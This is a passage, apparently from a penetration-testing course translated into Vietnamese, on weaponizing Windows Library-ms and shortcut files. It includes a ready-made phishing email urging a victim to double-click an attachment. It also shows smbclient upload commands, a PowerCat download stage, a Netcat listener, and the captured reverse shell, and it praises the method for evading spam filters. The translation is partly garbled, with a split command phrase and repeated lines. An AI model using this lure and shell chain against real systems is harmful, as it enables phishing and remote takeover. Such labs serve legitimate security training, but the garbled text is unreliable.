To make this easier, I've attached a file that will automatically
perform each step. Could you download the attachment, open the
directory, and double-click "automatic_configuration"? Once you
confirm the configuration in the window that appears, you're all done!
If you have any questions, or run into any problems, please let me
know!
Listing 20 - Example email content
Bây giờ, hãy sao chép automatic_configuration.lnk và cấu hình. Library-ms vào thư mục WebDAV trên máy Kali của chúng tôi. Để thuận tiện, chúng ta có thể sử dụng tệp thư viện config để sao chép tệp vào thư mục. Trong một đánh giá bình thường, chúng tôi rất có thể sẽ Gửi tệp thư viện qua email nhưng đối với ví dụ này, chúng tôi sẽ sử dụng chia sẻ SMB \\192.168.50.195\share để mô phỏng bước phân phối.
Tiếp theo, chúng ta sẽ khởi động máy chủ web Python3 trên cổng 8000 để phục vụ powercat.ps1, WsgiDAV cho WebDAV share /home/kali/webdav của chúng ta, và một trình nghe Netcat trên cổng 4444.
Để tải tệp thư viện lên chia sẻ SMB, chúng tôi sẽ sử dụng smbclient25 với tham số -c để chỉ định cấu hình put. Lệnh Library-ms. Trước khi thực hiện smbclient, chúng tôi cần thay đổi thư mục hiện tại của chúng ta thành thư mục của tệp thư viện. Chúng ta cũng sẽ xóa tệp test.txt đã tạo trước đó khỏi tệp WebDAV chia sẻ.
kali@kali:~$ cd webdav
kali@kali:~/webdav$ cd webdav
kali@kali:~/webdav$ rm test.txt
kali@kali:~/webdav$ smbclient //192.168.50.195/share -c 'put config.Library-ms'
Enter WORKGROUP\kali's password:
putting file config.Library-ms as \config.Library-ms (1.8 kb/s) (average 1.8 kb/s)
Liệt kê 21 - Tải tệp Thư viện của chúng ta lên chia sẻ SMB trên máy HR137
Sau khi chúng ta đặt tệp thư viện trên máy của mục tiêu thông qua smbclient, một Người dùng mô phỏng trên hệ thống mở nó và khởi động Reverse Shell bằng cách thực thi tệp phím tắt.
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.2] from (UNKNOWN) [192.168.50.195] 56839
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Windows\System32\WindowsPowerShell\v1.0> whoami
whoami
hr137\hsmith
Liệt kê 22 - Vỏ ngược đến từ HR137
Liệt kê 22 cho thấy chúng tôi đã nhận được thành công một shell đảo ngược với Thư viện và các tệp phím tắt của chúng tôi.
Tuyệt vời.
Chúng ta cũng có thể kết hợp kỹ thuật này với Tấn công macro Office hoặc bất kỳ loại tấn công phía máy khách nào khác.
Trong phần này, chúng ta đã tìm hiểu về các tệp Thư viện Windows và cách vũ khí hóa chúng như một giai đoạn đầu tiên hiệu quả để cung cấp một tệp thực thi trong các cuộc tấn công phía máy khách. Là giai đoạn thứ hai, chúng tôi đã sử dụng tệp lối tắt để tải xuống PowerCat và bắt đầu một shell đảo ngược. Tệp Thư viện Windows là một cách tuyệt vời để cung cấp tải trọng giai đoạn thứ hai của chúng tôi mà không bị lộ chúng đến các công nghệ bảo mật như bộ lọc thư rác.
» Các tin khác: